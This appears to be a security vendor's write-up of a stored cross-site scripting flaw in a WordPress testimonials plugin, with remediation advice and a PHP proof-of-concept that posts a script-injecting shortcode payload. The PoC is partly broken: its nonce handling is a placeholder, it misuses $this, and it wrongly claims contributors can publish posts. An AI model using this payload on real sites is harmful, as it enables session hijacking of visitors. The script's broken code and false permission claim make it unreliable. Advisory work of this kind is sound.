Atomic Edge analysis of CVE-2026-1095 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Canto Testimonials WordPress plugin. The vulnerability exists in the plugin’s shortcode handler for the ‘fx’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute in the browsers of any user viewing the compromised content, leading to client-side attacks.
Atomic Edge research infers the root cause is improper input sanitization and output escaping. The plugin likely registers a shortcode, such as [canto_testimonials], which accepts user-controlled attributes. The ‘fx’ attribute value is not properly sanitized before being echoed into the page output. This is a classic CWE-79 violation. The analysis confirms insufficient sanitization based on the description but infers the specific code pattern from common WordPress shortcode implementation practices.
Exploitation requires an authenticated user with at least the Contributor role. The attacker creates or edits a post, inserting the vulnerable shortcode with a malicious payload in the ‘fx’ attribute. For example, [canto_testimonials fx=”alert(document.domain)”] could be used. When the post is saved and viewed, the script executes. The attack vector is the WordPress post editor, and the payload is stored in the database.
Remediation requires implementing proper output escaping. The plugin should use WordPress escaping functions like esc_attr() when outputting the ‘fx’ attribute value within HTML tags. Input sanitization using functions like sanitize_text_field() on the attribute before storage would provide a secondary layer of defense. A patch must ensure all user-supplied shortcode attributes are escaped on output.
Successful exploitation allows attackers to perform actions within the context of a victim’s session. This can lead to session hijacking, administrative actions if an administrator views the page, defacement, or theft of sensitive data. The stored nature of the attack amplifies impact, as the payload triggers for every subsequent visitor to the compromised page.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1095 - Canto Testimonials <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'fx' Shortcode Attribute
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to inject via the 'fx' shortcode attribute.
// This is a basic proof-of-concept alert.
$malicious_fx_value = '"><script>alert(document.domain)</script>';
$shortcode = '[canto_testimonials fx="' . $malicious_fx_value . '"]';
$post_title = 'Test Post with XSS';
$post_content = 'This post contains the malicious shortcode: ' . $shortcode;
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check for a successful login by looking for the admin dashboard indicator.
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now create a new post with the malicious shortcode.
// The WordPress REST API endpoint for creating posts is used.
// Contributor users can create posts via the REST API.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array(
'title' => $post_title,
'content' => $post_content,
'status' => 'publish' // Contributor can publish their own posts.
)));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $this->extract_nonce($login_response) // Nonce extraction is complex; this is a placeholder.
));
// In a real scenario, you would need to extract a valid REST API nonce from the admin page.
// This step is omitted for brevity, as the PoC demonstrates the concept.
$api_response = curl_exec($ch);
curl_close($ch);
echo "If authentication and nonce handling were fully implemented, the post would be created.n";
echo "Visit the new post to trigger the XSS payload in the 'fx' attribute.n";
// Helper function stub for nonce extraction (not fully implemented).
function extract_nonce($page_html) {
// This would parse the page to find a valid `wp_rest` nonce.
// For this metadata-based PoC, we return a placeholder.
return 'REST_NONCE_PLACEHOLDER';
}
?>
